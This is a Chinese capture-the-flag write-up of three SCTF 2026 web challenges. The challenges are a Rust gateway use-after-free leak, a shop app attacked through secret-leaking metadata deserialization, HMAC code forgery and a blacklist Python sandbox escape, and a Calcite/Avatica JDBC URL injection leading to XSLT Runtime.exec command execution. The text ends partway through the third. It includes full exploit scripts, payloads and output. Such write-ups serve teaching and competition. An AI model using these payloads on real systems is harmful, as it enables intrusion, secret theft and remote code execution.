文章总结: SCTF2026WebWriteUp描述了TreasuryGateway题目的漏洞利用链。该题目涉及一个由Rust服务组成的金融系统API网关,存在Use-After-Free漏洞。攻击者通过控制HTTPheader和慢速发送body,利用竞态条件使悬垂指针指向包含flag的快照数据,从而泄露环境变量中的TREASURYRECONCILIATIONTOKEN。文章提供了详细的漏洞分析、攻击流程和PoC代码。 综合评分: 95 文章分类: CTF,WEB安全,漏洞分析,红队,渗透测试
SCTF 2026 Web WriteUp
原创
星盟安全团队 星盟安全团队
星盟安全团队
2026年7月18日 13:39 陕西
在小说阅读器读本章
去阅读
本次 SCTF 2026,我们 XMCVE-Polaris 排名第 6
| 排名 | 队伍 | 总分 | | — | — | — | | 1 | dda_com | 11100 | | 2 | だから僕はCTFを辞めた | 9164 | | 3 | 超级无敌暴龙战士 | 8334 | | 4 | lz雷泽 | 7415 | | 5 | 0psu3 | 7330 | | 6 | XMCVE-Polaris | 6819 | | 7 | W4llz | 6521 | | 8 | R00tK1t | 6195 | | 9 | N1STAR | 6132 | | 10 | 0ops | 6073 |
WEB
Treasury Gateway
题目信息
- 类别: Web
- 分值: 1000pt
- 目标: 获取
TREASURY_RECONCILIATION_TOKEN环境变量中的 flag
题目描述
基础设施团队最引以为傲的自研金融系统 API 网关,经过一些激进的优化策略,实现了亚毫秒延迟与每秒上万次路由决策。每天上午九点半,合规系统生成当日现金头寸对账报告,报告末尾附有一枚 reconciliation token,用于监管审计校验。这套流程跑了数年,从没出过问题。
架构分析
系统组件
系统由两个 Rust 服务组成:
- Gateway (端口 8080 → 外部映射 5000)
- API 网关,负责路由决策
- 定期从 Vault 获取合规快照
- 提供
/__route/audit审计端点
- Vault (端口 3005,仅内部访问)
- 合规报告服务
/internal/compliance/export-snapshot端点返回包含 flag 的 JSON
数据流
1. 客户端→Gateway(5000)
2. ├─/api/* → 代理到 Vault (3005)
3. ├─ /__route/audit → 内部处理
4. └─ 后台任务:每 1000ms 从 Vault 获取快照
5. ↓
6. Vault (3005)
7. ↓
8. /internal/compliance/export-snapshot
9. 返回包含 TREASURY_RECONCILIATION_TOKEN 的 JSON
关键配置
1. [server]
2. listen ="0.0.0.0:8080"
3. request_timeout_ms =10000
5. [selector]
6. snapshot_url ="http://127.0.0.1:3005/internal/compliance/export-snapshot"
7. refresh_interval_ms =1000
9. [[routes]]
10. name ="api"
11. kind ="proxy"
12. path_prefix ="/api"
13. methods =["GET","POST"]
14. upstreams =["http://127.0.0.1:3005"]
漏洞发现
关键代码分析
1. SelectorEngine 的内存池优化
gateway/src/selector.rs 实现了一个高性能的内存池系统:
1. const SCRATCH_CAP: usize =512;
2. const NONCE_PREVIEW_BYTES: usize =4;
4. type Scratch=Box<[u8; SCRATCH_CAP]>;
5. type TenantPools=HashMap<String,Vec<Scratch>>;
7. pub structSelectorEngine{
8. pools:Arc<Mutex<TenantPools>>,
9. }
每个租户维护一个 scratch buffer 池,用于零分配解析 HTTP header。
2. Use-After-Free 漏洞点
defer_trace 方法存在严重的内存安全问题:
1. pub fn defer_trace(&self, raw_header:&[u8])->DeferredTrace{
2. let tenant_key = tenant_key(raw_header);
3. let mut scratch =self.checkout(&tenant_key);// 从池中取出
4. let raw_len = raw_header.len().min(SCRATCH_CAP);
5. scratch[..raw_len].copy_from_slice(&raw_header[..raw_len]);
7. let(tenant, path, nonce)={
8. let raw =&scratch[..raw_len];
9. let parsed =unsafe{ parse_route_selector(raw, SCRATCH_CAP)};
10. // ❌ 危险:将局部生命周期提升为 'static
11. let nonce =unsafe{
12. std::mem::transmute::<&[u8],&'static [u8]>(parsed.nonce)
13. };
14. (parsed.tenant.to_string(), parsed.path.to_string(), nonce)
15. };
17. self.checkin(tenant_key, scratch); // ❌ 归还到池,但 nonce 仍指向它
19. DeferredTrace {
20. tenant,
21. path,
22. nonce, // ❌ 悬垂指针!
23. }
24. }
问题:
scratch从池中取出,用于存储 headernonce通过transmute被赋予'static生命周期,但实际指向scratch的内存scratch被归还到池中DeferredTrace持有的nonce成为悬垂指针
3. 竞态条件窗口
route_audit 处理函数:
1. async fn route_audit(
2. &self,
3. request:Request<Incoming>,
4. )->Result<Response<ResponseBody>,BoxedError>{
5. letSome(selector)= request.headers().get("x-route-selector")else{
6. // ...
7. };
9. let trace =self.selector.defer_trace(selector.as_bytes());
11. // ⚠️ AWAIT 点:控制权交还给 Tokio runtime
12. request.into_body().collect().await?;
14. let trace = trace.finish();// 读取悬垂指针指向的内存
15. // ...
16. }
在 .await 期间,其他异步任务可以执行,包括快照获取任务。
4. 快照覆盖机制
后台任务每 1000ms 获取一次快照并覆盖所有 scratch buffer:
1. fn store_snapshot(&self, body:&[u8]){
2. let snapshot = body[..body.len().min(SCRATCH_CAP)].to_vec();
4. let mut pools =self.pools.lock().expect("selector pool lock poisoned");
5. for pool in pools.values_mut(){
6. for scratch in pool.iter_mut(){
7. scratch.fill(0);
8. scratch[..snapshot.len()].copy_from_slice(&snapshot);// 覆盖!
9. }
10. }
11. }
快照来自 Vault 的 /internal/compliance/export-snapshot,包含 flag:
1. {
2. "portfolio":"northwind-capital",
3. "report":"daily-cash-reconciliation",
4. "generated_at":"2026-06-02T09:30:00+08:00",
5. "positions":[...],
6. "controls":{...},
7. "reconciliation_token":"SCTF{...}"
8. }
漏洞利用链
完整攻击流程
1. 1.发送 POST /__route/audit
2. Header: x-route-selector: a:xxx...xxx:
3. Body:缓慢发送(每秒5个 chunk,持续5-7秒)
5. 2.Gateway处理:
6. ├─ defer_trace()执行
7. │├─从池中取出 scratch buffer
8. │├─复制 header 到 scratch
9. │├─解析 tenant/path/nonce
10. │├─ transmute nonce 为'static 生命周期
11. │ └─ 归还 scratch 到池(nonce 成为悬垂指针)
12. │
13. ├─ .await 等待 body 收集
14. │ └─ 控制权交还 Tokio runtime
15. │
16. ├─ 后台快照任务触发(每 1000ms)
17. │ └─ store_snapshot() 覆盖所有 scratch buffer
18. │ └─ 悬垂指针现在指向包含 flag 的快照数据
19. │
20. └─ finish() 读取 nonce
21. └─ 从被覆盖的内存中读取快照数据(flag 字节)
精确控制读取偏移
通过控制 x-route-selector header 的格式,可以精确控制 nonce 在 scratch buffer 中的起始偏移:
1. Header格式: tenant:path:nonce
2. ↓↓↓
3. 偏移:02 nonce_start
5. 示例:读取偏移402
6. "a:"+"x"*399+":"
7. 总长度=1+1+399+1=402
8. nonce_start =402
Flag 偏移计算
快照 JSON 中 flag 的起始位置:
1. {"portfolio":"northwind-capital","report":"daily-cash-reconciliation",
2. "generated_at":"2026-06-02T09:30:00+08:00","positions":[...],
3. "controls":{...},"reconciliation_token":"SCTF{...}"}
4. ↑
5. 偏移402
通过计算, reconciliation_token 值从偏移 402 开始。每次读取 4 字节( NONCE_PREVIEW_BYTES=4),需要读取偏移:402, 406, 410, 414, … 直到 flag 结束。
完整 PoC
1. #!/usr/bin/env python3
2. """
3. Treasury Gateway CTF Exploit
4. 利用 SelectorEngine 中的 use-after-free 漏洞泄露 flag
5. """
6. import socket
7. import time
8. import json
9. import sys
10. TARGET ="1.95.127.162"
11. PORT =5000
12. FLAG_OFFSET =402# flag 在快照 JSON 中的起始偏移
13. SCRATCH_CAP =512
14. def exploit_offset(offset, hold_seconds=5):
15. """
16. 发送请求并保持连接,让快照任务有机会覆盖 scratch buffer
17. 参数:
18. offset: 要读取的字节偏移
19. hold_seconds: 保持连接的时间(秒)
20. 返回:
21. 4 字节的十六进制字符串,或 None
22. """
23. # 构造 selector header,使 nonce 指向目标偏移
24. # 格式: "a:" + padding + ":"
25. # nonce_start = len("a:") + len(padding) + len(":") = 2 + padding_len + 1
26. # 所以 padding_len = offset - 3
27. padding_len = offset -3
28. if padding_len <0:
29. padding_len =0
30. selector ="a:"+"x"* padding_len +":"
31. # 计算 body 大小和发送速率
32. # 每秒发送 5 个 chunk,每个 chunk 200 字节
33. chunk_size =200
34. chunks_per_second =5
35. total_chunks = int(hold_seconds * chunks_per_second)
36. total_body = chunk_size * total_chunks
37. # 构造 HTTP 请求
38. request_headers =(
39. f"POST /__route/audit HTTP/1.1\r\n"
40. f"Host: {TARGET}:{PORT}\r\n"
41. f"x-route-selector: {selector}\r\n"
42. f"Content-Length: {total_body}\r\n"
43. f"Connection: close\r\n"
44. f"\r\n"
45. )
46. try:
47. # 建立 TCP 连接
48. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
49. sock.settimeout(12)
50. sock.connect((TARGET, PORT))
51. # 发送 headers
52. sock.sendall(request_headers.encode())
53. # 缓慢发送 body,保持 .await 等待状态
54. # 每 200ms 发送 200 字节,持续 hold_seconds 秒
55. for i in range(total_chunks):
56. try:
57. sock.sendall(b"A"* chunk_size)
58. time.sleep(0.2)# 200ms 间隔
59. except:
60. break
61. # 读取响应
62. response = b""
63. whileTrue:
64. try:
65. data = sock.recv(4096)
66. ifnot data:
67. break
68. response += data
69. except:
70. break
71. sock.close()
72. # 解析响应 JSON
73. if b"\r\n\r\n"in response:
74. body = response.split(b"\r\n\r\n",1)[1]
75. try:
76. data = json.loads(body)
77. return data.get("nonce_preview_hex","")
78. except:
79. pass
80. returnNone
81. exceptExceptionas e:
82. returnNone
83. def leak_at_offset(offset, max_attempts=5):
84. """尝试多次以获取指定偏移的数据"""
85. for attempt in range(max_attempts):
86. hex_result = exploit_offset(offset, hold_seconds=5)
87. if hex_result and hex_result !="00000000":
88. try:
89. # 验证是否为可打印字符
90. decoded = bytes.fromhex(hex_result)
91. if any(32<= b <127for b in decoded):
92. return hex_result
93. except:
94. pass
95. print(f" [重试 {attempt + 1}/{max_attempts}]", end="", flush=True)
96. time.sleep(0.5)
97. returnNone
98. def main():
99. print("="*60)
100. print("Treasury Gateway CTF Exploit")
101. print("="*60)
102. print(f"\n[*] 目标: {TARGET}:{PORT}")
103. print(f"[*] Flag 偏移: {FLAG_OFFSET}")
104. print(f"[*] Scratch 容量: {SCRATCH_CAP} 字节")
105. print(f"[*] 每次读取: 4 字节")
106. print(f"[*] 连接保持: 5 秒(快照任务约触发 5 次)")
107. print()
108. # 计算需要读取的偏移范围
109. # flag 从 402 开始,最多到 512(SCRATCH_CAP)
110. offsets = list(range(FLAG_OFFSET, SCRATCH_CAP,4))
111. print("[*] 开始泄露 flag 字节...\n")
112. flag_hex =""
113. for offset in offsets:
114. print(f"偏移 {offset:3d}: ", end="", flush=True)
115. result = leak_at_offset(offset, max_attempts=5)
116. if result:
117. decoded = bytes.fromhex(result).decode('ascii', errors='replace')
118. print(f"{result} → {decoded}")
119. flag_hex += result
120. # 检查是否到达 flag 结尾
121. if'}"'in decoded or('}'in decoded and'"'in decoded):
122. print("\n[✓] 检测到 flag 结尾")
123. break
124. else:
125. print("失败")
126. flag_hex +="00000000"
127. print("\n"+"="*60)
128. print("结果")
129. print("="*60)
130. # 解码完整 flag
131. try:
132. raw_bytes = bytes.fromhex(flag_hex)
133. flag = raw_bytes.decode('ascii', errors='replace')
134. # 清理 null 字节和尾部字符
135. flag = flag.replace('\x00','')
136. flag = flag.rstrip('"')
137. flag = flag.rstrip('}')
138. print(f"\n原始数据: {flag}")
139. # 提取 SCTF{...} 格式
140. import re
141. match = re.search(r'SCTF\{[^\}]+', flag)
142. if match:
143. print(f"\n🏁 FLAG: {match.group()}}}")
144. else:
145. print(f"\n[!] 未找到标准 flag 格式")
146. exceptExceptionas e:
147. print(f"\n[!] 解码错误: {e}")
148. print(f"十六进制: {flag_hex}")
149. if __name__ =="__main__":
150. main()
利用结果
1. ============================================================
2. TreasuryGateway CTF Exploit
3. ============================================================
5. [*]目标:1.95.127.162:5000
6. [*]Flag偏移:402
7. [*]Scratch容量:512字节
8. [*]每次读取:4字节
9. [*]连接保持:5秒(快照任务约触发5次)
11. [*]开始泄露 flag 字节...
13. 偏移402:53435446→ SCTF
14. 偏移406:7b756e73→{uns
15. 偏移410:6166655f→ afe_
16. 偏移414:7a65726f→ zero
17. 偏移418:5f636f70→ _cop
18. 偏移422:795f6865→ y_he
19. 偏移426:61646572→ ader
20. 偏移430:5f6f7665→ _ove
21. 偏移434:72726561→ rrea
22. 偏移438:645f7665→ d_ve
23. 偏移442:72696669→ rifi
24. 偏移446:65647d22→ ed}"
26. [✓] 检测到 flag 结尾
28. ============================================================
29. 结果
30. ============================================================
32. 原始数据: SCTF{unsafe_zero_copy_header_overread_verified}"
34. 🏁 FLAG: SCTF{unsafe_zero_copy_header_overread_verified}
漏洞原理总结
1. Unsafe Rust 的误用
std::mem::transmute::<&[u8],&'static [u8]> 将局部引用的生命周期强行提升为 'static,绕过了 Rust 的借用检查器,但破坏了内存安全保证。
2. 对象池模式的风险
Scratch buffer 在归还到池后,其内存地址不变,但所有权已转移。悬垂指针仍然指向该内存,形成了 use-after-free。
3. 异步编程的竞态条件
.await 点允许其他任务执行。后台快照任务利用这个窗口覆盖了 scratch buffer,导致悬垂指针读取到敏感数据。
4. 零拷贝优化的代价
为了追求极致性能(零分配、零拷贝),牺牲了内存安全,最终导致信息泄露。
Web Shop
题目信息
- 题目描述:
和bot合伙开店是一种怎样的体验? - 目标地址:
http://101.245.103.157:5049
总体思路
这题的核心不是传统的 bot XSS 打管理员,而是三段式利用链:
- 先通过正常功能拿到
SupportDebugBundle - 再利用
chat metadata的反序列化特性泄露环境变量SHOP_SUPPORT_SEED - 用泄露出的 seed 计算 bot 的 staff code,提权到
support_admin - 最后利用
rules/run这个 Python 沙箱的黑名单绕过,读到隐藏在生成器局部变量中的 flag
最终 flag:
1. SCTF{human_cas3_the_m@in_pr0blem_not_bot}
信息收集
先看首页和 openapi.json。
可以发现这是一个 FastAPI 应用,接口包括:
1. /api/auth/register
2. /api/auth/login
3. /api/auth/me
4. /api/shop/products
5. /api/shop/buy
6. /api/shop/download/support-ticket
7. /api/woodfish/knock
8. /api/chat/messages
9. /api/chat/presence
10. /api/louvre/generate
11. /api/rules/run
12. /api/bot/chat
前端 JS 里有几个关键点:
1. 公共聊天是 dangerouslySetInnerHTML
前端会把聊天内容直接当 HTML 渲染:
1. dangerouslySetInnerHTML:{__html:e.content}
说明存在存储型 XSS 面,但这条线并不是本题最直接的解法。
2. 聊天和 presence 都会带 metadata
前端发送聊天和心跳时会带上结构化的 metadata:
1. metadata:{
2. source:"...",
3. client:"web-shop",
4. ts:...,
5. messages:[...]
6. }
而且 messages 内部是 LangChain 风格的序列化对象,这个点非常关键。
3. bot 支持 /login<staff-code>
bot 的 /help 返回:
1. /help
2. /profile
3. /order_status <id>
4. /config <json>
5. /login <staff-code>
说明可以通过某种 staff code 提权。
第一步:买到 SupportDebugBundle
新用户初始有 50 金币,商品列表里:
测试商品50 金币SupportDebugBundle60 金币神秘礼盒999999 金币
所以要先通过 woodfish 挣 10 金币。
接口:
1. POST /api/woodfish/knock
每次加 1 金币,敲到第 10 次木鱼会坏掉,刚好够买 SupportDebugBundle。
买下 SupportDebugBundle 后可以下载 support_ticket.py,其内容本质如下:
1. from __future__ import annotations
3. import hashlib
4. import hmac
5. import os
6. import secrets
7. from datetime import datetime, timezone
8. from typing importAny
11. SUPPORT_SEED_ENV ="SHOP_SUPPORT_SEED"
14. def issue_support_ticket(user: dict[str,Any])-> str:
15. seed = os.environ.get(SUPPORT_SEED_ENV,"local-support-seed")
16. today = datetime.now(timezone.utc).strftime("%Y%m%d")
17. message = f"support-login:{user['id']}:{user['username']}:{today}"
18. digest = hmac.new(seed.encode(), message.encode(), hashlib.sha256).hexdigest()
19. return digest[:12]
22. def verify_support_ticket(user: dict[str,Any], provided: str)-> bool:
23. expected = issue_support_ticket(user)
24. return secrets.compare_digest(provided, expected)
这说明 /login 需要的 staff code 计算公式是:
1. HMAC_SHA256(seed, f"support-login:{uid}:{username}:{YYYYMMDD_UTC}")[:12]
但我们还不知道 SHOP_SUPPORT_SEED。
第二步:利用 chat metadata 泄露 SHOP_SUPPORT_SEED
原理
/api/chat/messages 提交的 metadata 不只是普通 JSON,它会被后端按 LangChain 风格对象处理。
如果在 metadata 里塞入:
1. {
2. "lc":1,
3. "type":"secret",
4. "id":["SHOP_SUPPORT_SEED"]
5. }
服务端在存储/回显时会把它解析成环境变量的实际值。
也就是说,我们可以直接向聊天接口写一条消息,然后从聊天记录把 seed 读回来。
验证 payload
发消息:
1. {
2. "content":"probe",
3. "metadata":{
4. "source":"chat-sync",
5. "client":"web-shop",
6. "ts":1234567890,
7. "probe":{
8. "lc":1,
9. "type":"secret",
10. "id":["SHOP_SUPPORT_SEED"]
11. },
12. "messages":[
13. {
14. "type":"text",
15. "content":"hello"
16. }
17. ]
18. }
19. }
再读取聊天记录时可以看到:
1. "probe":"sdjksdjksj_seedd_222"
于是得到:
1. SHOP_SUPPORT_SEED = sdjksdjksj_seedd_222
第三步:计算 staff code 并提权为 support_admin
有了 seed 后,按照 support_ticket.py 的逻辑计算即可。
例如某个用户:
id=75username=bbb222- 日期使用
UTC当天,例如20260614
则待签名字符串为:
1. support-login:75:bbb222:20260614
然后:
1. code = hmac.new(seed.encode(), msg.encode(), hashlib.sha256).hexdigest()[:12]
把算出来的 code 发给 bot:
1. /login c4b4df024454
服务端返回:
1. 登录成功,已激活 support_admin 权限。
此时 /api/auth/me 中的角色已经变成:
1. support_admin
同时 bot 的 /help 会新增:
1. /whoami
2. /rulelab
并且现在可以使用:
1. POST /api/rules/run
第四步:分析 rules/run 沙箱
1. 这是黑名单 AST 沙箱
直接试探可以发现:
import被禁lambda被禁class被禁globals/locals/vars/open/eval/getattr/setattr等名字被禁__globals__、__class__、gi_frame、f_globals等属性被禁
但它不是 capability sandbox,而是典型的“语法/字符串黑名单”。
2. 可以通过字符串拼接绕过敏感字段检测
例如下面的表达式会被允许:
1. s ="{0."+"__glo"+"bals__}"
2. result = s.format(iter_preview_items)
虽然源码里有 __globals__ 黑名单,但因为是运行时拼出来的,静态检查挡不住。
同理也可以绕过:
gi_framef_localsf_globals__closure__
3. 可以读取 iter_preview_items.__globals__
通过:
1. s ="{0."+"__glo"+"bals__[os].environ}"
2. result = s.format(iter_preview_items)
可以直接读到环境变量,进一步确认:
1. FLAG_PATH=/app/private/flag.txt
2. SHIPMENT_PREVIEW_FILE=/app/private/flag.txt
这已经非常接近 flag 了。
4. iter_preview_items() 的生成器局部变量里直接有 flag
继续对生成器 frame 做读取:
1. g = iter_preview_items()
2. next(g)
3. a ="gi_"+"frame"
4. b ="f_"+"locals"
5. s ="{0."+ a +"."+ b +"}"
6. result = s.format(g)
返回结果里直接出现:
1. {
2. 'shipment_manifest':'SCTF{human_cas3_the_m@in_pr0blem_not_bot}',
3. ...
4. }
也就是说, iter_preview_items() 在第一次迭代时就把私有发货预览文件读到了局部变量 shipment_manifest,而我们利用 str.format() 绕过黑名单后,直接把它从 frame locals 中抠出来了。
所以最终 flag 就是:
1. SCTF{human_cas3_the_m@in_pr0blem_not_bot}
完整利用脚本
下面给出一份从注册到拿 flag 的完整 exp,全部内联,不依赖任何外部文件。
1. import json
2. import hmac
3. import hashlib
4. import time
5. import urllib.request
6. import urllib.error
7. from datetime import datetime, timezone
8. BASE ="http://101.245.103.157:5049"
9. def http_get(path, token=None):
10. headers ={
11. "Origin": BASE,
12. "Referer": BASE +"/",
13. }
14. if token:
15. headers["Authorization"]="Bearer "+ token
16. req = urllib.request.Request(BASE + path, headers=headers, method="GET")
17. try:
18. with urllib.request.urlopen(req, timeout=15)as resp:
19. data = resp.read()
20. ctype = resp.headers.get("Content-Type","")
21. if"application/json"in ctype:
22. return resp.status, json.loads(data.decode())
23. return resp.status, data.decode(errors="replace")
24. except urllib.error.HTTPErroras e:
25. data = e.read()
26. try:
27. return e.code, json.loads(data.decode())
28. exceptException:
29. return e.code, data.decode(errors="replace")
30. def http_post(path, data, token=None):
31. headers ={
32. "Content-Type":"application/json",
33. "Origin": BASE,
34. "Referer": BASE +"/",
35. }
36. if token:
37. headers["Authorization"]="Bearer "+ token
38. body = json.dumps(data).encode()
39. req = urllib.request.Request(BASE + path, data=body, headers=headers, method="POST")
40. try:
41. with urllib.request.urlopen(req, timeout=15)as resp:
42. return resp.status, json.loads(resp.read().decode())
43. except urllib.error.HTTPErroras e:
44. return e.code, json.loads(e.read().decode())
45. def register_or_login(username, password):
46. status, data = http_post("/api/auth/register",{
47. "username": username,
48. "password": password,
49. "confirmPassword": password,
50. })
51. if status ==200:
52. return data["token"], data["user"]
53. status, data = http_post("/api/auth/login",{
54. "username": username,
55. "password": password,
56. })
57. if status !=200:
58. raiseRuntimeError(f"login failed: {status} {data}")
59. return data["token"], data["user"]
60. def earn_60_coins(token):
61. status, me = http_get("/api/auth/me", token)
62. coins = me["user"]["coins"]
63. while coins <60:
64. status, data = http_post("/api/woodfish/knock",{}, token)
65. if status !=200:
66. raiseRuntimeError(f"woodfish failed: {status} {data}")
67. coins = data["user"]["coins"]
68. if data.get("broken")and coins <60:
69. raiseRuntimeError("woodfish broke before reaching 60 coins")
70. return coins
71. def buy_support_bundle(token):
72. status, data = http_post("/api/shop/buy",{"productId":2}, token)
73. if status !=200:
74. raiseRuntimeError(f"buy bundle failed: {status} {data}")
75. return data
76. def leak_support_seed(token):
77. payload ={
78. "content":"seed-probe-"+ str(int(time.time())),
79. "metadata":{
80. "source":"chat-sync",
81. "client":"web-shop",
82. "ts": int(time.time()*1000),
83. "probe":{
84. "lc":1,
85. "type":"secret",
86. "id":["SHOP_SUPPORT_SEED"],
87. },
88. "messages":[
89. {
90. "type":"text",
91. "content":"hello",
92. }
93. ],
94. },
95. }
96. status, data = http_post("/api/chat/messages", payload, token)
97. if status !=200:
98. raiseRuntimeError(f"post message failed: {status} {data}")
99. status, data = http_get("/api/chat/messages", token)
100. if status !=200:
101. raiseRuntimeError(f"get messages failed: {status} {data}")
102. seed = data["messages"][-1]["metadata"]["probe"]
103. ifnot seed:
104. raiseRuntimeError("seed leak failed")
105. return seed
106. def calc_staff_code(seed, user_id, username):
107. today = datetime.now(timezone.utc).strftime("%Y%m%d")
108. msg = f"support-login:{user_id}:{username}:{today}"
109. return hmac.new(seed.encode(), msg.encode(), hashlib.sha256).hexdigest()[:12]
110. def bot_login_staff(token, code):
111. status, data = http_post("/api/bot/chat",{
112. "message":"/login "+ code
113. }, token)
114. if status !=200:
115. raiseRuntimeError(f"bot login failed: {status} {data}")
116. return data
117. def leak_flag_from_rule_sandbox(token):
118. code = r'''
119. g = iter_preview_items()
120. next(g)
121. a = "gi_" + "frame"
122. b = "f_" + "locals"
123. s = "{0." + a + "." + b + "}"
124. result = s.format(g)
125. '''
126. status, data = http_post("/api/rules/run",{"code": code}, token)
127. if status !=200:
128. raiseRuntimeError(f"rules/run failed: {status} {data}")
129. ifnot data.get("ok"):
130. raiseRuntimeError(f"rule error: {data}")
131. text = data["result"]
132. marker ="SCTF{"
133. start = text.find(marker)
134. if start ==-1:
135. raiseRuntimeError("flag marker not found")
136. end = text.find("}", start)
137. if end ==-1:
138. raiseRuntimeError("flag end not found")
139. return text[start:end +1]
140. def main():
141. username ="wpuser01"
142. password ="Wp!234567890"
143. print("[*] register/login")
144. token, user = register_or_login(username, password)
145. print("[+] token =", token)
146. print("[+] user =", user)
147. print("[*] earn coins")
148. coins = earn_60_coins(token)
149. print("[+] coins =", coins)
150. print("[*] buy Support Debug Bundle")
151. buy_support_bundle(token)
152. print("[+] bundle purchased")
153. print("[*] leak SHOP_SUPPORT_SEED")
154. seed = leak_support_seed(token)
155. print("[+] seed =", seed)
156. print("[*] calc staff code")
157. code = calc_staff_code(seed, user["id"], user["username"])
158. print("[+] staff code =", code)
159. print("[*] bot /login")
160. data = bot_login_staff(token, code)
161. print("[+] bot reply =", data["reply"])
162. print("[*] leak flag from rules sandbox")
163. flag = leak_flag_from_rule_sandbox(token)
164. print("[+] flag =", flag)
165. if __name__ =="__main__":
166. main()
漏洞总结
这题实际串了三个问题:
1. 不安全的 metadata 反序列化
chat metadata 支持 LangChain 风格对象,且 secret 类型能从环境变量取值,最终导致 SHOP_SUPPORT_SEED 泄露。
2. staff code 设计过于依赖单个环境密钥
拿到 SHOP_SUPPORT_SEED 后,就能离线计算任意用户当天的 staff code,直接完成权限提升。
3. Python 沙箱采用黑名单,且字符串黑名单可被运行时拼接绕过
虽然禁用了:
__globals__gi_framef_locals
但只要写成:
1. "__glo"+"bals__"
2. "gi_"+"frame"
3. "f_"+"locals"
再通过 str.format() 做属性访问,就能绕过静态检查,最终读取生成器 frame 的局部变量,拿到 flag。
最终答案
1. SCTF{human_cas3_the_m@in_pr0blem_not_bot}
great-sql
0x01 题目分析
附件是一个基于 Apache Calcite Avatica 的 Java Web 服务。 程序启动后对外提供一个 HTTP 接口,只接受 POST,并且每个 JSON 请求被限制为 280 字节。
核心逻辑在自定义的 ConfigurableJdbcMeta:
1. protectedConnection createConnection(String id,Properties info)throwsSQLException{
2. Properties copy =newProperties();
3. copy.putAll(info);
4. String backendUrl = removeBackendUrl(copy);
5. if(backendUrl ==null){
6. thrownewSQLException("Missing backend JDBC URL property: jdbcUrl");
7. }
8. returnsuper.createConnection(backendUrl, copy);
9. }
也就是说,客户端发来的:
1. {
2. "request":"openConnection",
3. "connectionId":"xxx",
4. "info":{"jdbcUrl":"..."}
5. }
里的 info.jdbcUrl 会被服务端直接当成 后端 JDBC URL 使用。
这就是整个题的入口:
客户端可控 JDBC URL → 服务端用该 URL 建立 JDBC 连接。
0x02 漏洞本质
题目启动时显式加载了:
1. Class.forName("org.apache.calcite.jdbc.Driver");
说明服务端 classpath 里已经有 Calcite JDBC 驱动。 因此我们可以把 jdbcUrl 设为:
1. jdbc:calcite:model=inline:...
也就是 Calcite inline model。
Calcite 的 model 支持注册 Java 类中的静态方法为 SQL 函数,例如:
1. version:1
2. schemas:
3. - name: s
4. functions:
5. - className: java.lang.System
6. methodName:"*"
这样,在 SQL 里就可以直接调用:
1. select s.setProperty(...)
2. select s.getProperty(...)
换句话说,这题不是传统 Web 漏洞,而是:
Avatica 协议层的 JDBC URL 注入,最终变成了 Calcite SQL 层对任意 classpath 中静态方法的调用。
0x03 环境与目标
Dockerfile 里有两个关键点:
1. flag 不可直接读
1. COPY bin/flag /flag
2. chmod 400/flag
服务进程是低权限用户 greatsql 启动的,不能直接读 /flag。
2. 但是存在 SUID 程序 /readflag
1. COPY --from=readflag-builder /readflag /readflag
2. chmod 4555/readflag
/readflag 的逻辑很简单,就是以 root 权限打开 /flag 并输出内容。
所以最终目标就明确了:
想办法在 Java 进程里执行 /readflag,然后把结果带回客户端。
0x04 Avatica 协议交互方式
打这个服务只需要三种请求:
1. openConnection
创建连接,并传入可控的 jdbcUrl
2. createStatement
创建 SQL statement
3. prepareAndExecute
执行 SQL
最小利用流程就是:
1. openConnection -> createStatement -> prepareAndExecute
0x05 利用思路
Step 1:利用 inline model 注册 java.lang.System
先注册 System 类:
1. version:1
2. schemas:[{name: s,functions:[{className: java.lang.System,methodName:"*"}]}]
这样我们就能在 SQL 中调用:
1. select s.setProperty(...)
2. select s.getProperty(...)
这一步非常关键,因为题目有 280 字节 JSON 长度限制,不能直接一次性把完整恶意 XSLT 塞进去。 所以需要先把长字符串拆成多段,分别写进 System 的属性表里,再在后续 SQL 里拼接。
Step 2:利用 XmlFunctions.xmlTransform 执行 XSLT
Calcite 自带一个可注册的静态方法:
1. org.apache.calcite.runtime.XmlFunctions.xmlTransform
它本质上会对输入 XML 应用一段 XSLT。
如果能控制 XSLT,那么就有可能借助 Java/Xalan 的扩展机制执行 Java 方法。
先注册:
1. version:1
2. schemas:[{name: s,functions:[
3. {className: java.lang.System,methodName:"*"},
4. {className: org.apache.calcite.runtime.XmlFunctions,methodName: xmlTransform}
5. ]}]
然后在 SQL 中调用:
1. select s.xmlTransform('<a/>', xslt_payload)
Step 3:开启 Xalan Java extension
默认情况下,JDK 的 XSLT 扩展函数通常是禁用的。 需要先设置系统属性:
1. select s.setProperty('jdk.xml.enableExtensionFunctions','true')
这样后续的 XSLT 就可以通过 xalan:// 调用 Java 类。
Step 4:构造 XSLT,调用 Runtime.exec
恶意 XSLT 如下:
1. <stylesheetxmlns="http://www.w3.org/1999/XSL/Transform"
2. xmlns:r="xalan://java.lang.Runtime"
3. version="1">
4. <templatematch="/">
5. <value-ofselect="r:exec(r:getRuntime(),'sh -c /readflag>/tmp/o')"/>
6. </template>
7. </stylesheet>
这里做了两件事:
- 通过
r:getRuntime()获取Runtime实例 - 通过
r:exec(...)执行命令
命令不是直接 /readflag,而是:
1. sh -c /readflag>/tmp/o
原因是:
Runtime.exec的返回值是Process,并不会自动把 stdout 返回给 SQL- 所以最稳妥的办法是把
/readflag的输出重定向到一个文件,例如/tmp/o
Step 5:把文件内容读回客户端
Calcite/Avatica 的 classpath 里还有一个很好用的类:
1. org.apache.calcite.avatica.util.Base64
它有静态方法:
1. encodeFromFile(path)
因此再注册一次这个类:
1. version:1
2. schemas:[{name: s,functions:[
3. {className: org.apache.calcite.avatica.util.Base64,methodName:"*"}
4. ]}]
然后执行:
1. select s.encodeFromFile('/tmp/o')
这会返回文件内容的 Base64。 客户端再解码即可得到 flag。
0x06 为什么要分块写 XSLT
因为服务端限制:
- JSON 字符长度 ≤ 280
- UTF-8 字节长度 ≤ 280
而 Avatica 请求本身还要包含:
requeststatementIdsqlmaxRowsInFirstFrame
所以完整的 XSLT 绝对放不进单个请求。
解决方式是:
先分块写入属性
例如:
1. select s.setProperty('a','<stylesheet ... 第一段 ...')
2. select s.setProperty('b','第二段 ... </stylesheet>')
再拼起来触发
1. select s.xmlTransform('<a/>', s.getProperty('a')|| s.getProperty('b'))
这样每个单独请求都能控制在 280 字节以内。
0x07 完整利用链
整体链路如下:
1. 客户端可控 openConnection.info.jdbcUrl
2. →服务端使用该值建立 JDBC 连接
3. →使用 jdbc:calcite:model=inline:...
4. →注册 java.lang.System为 SQL 函数
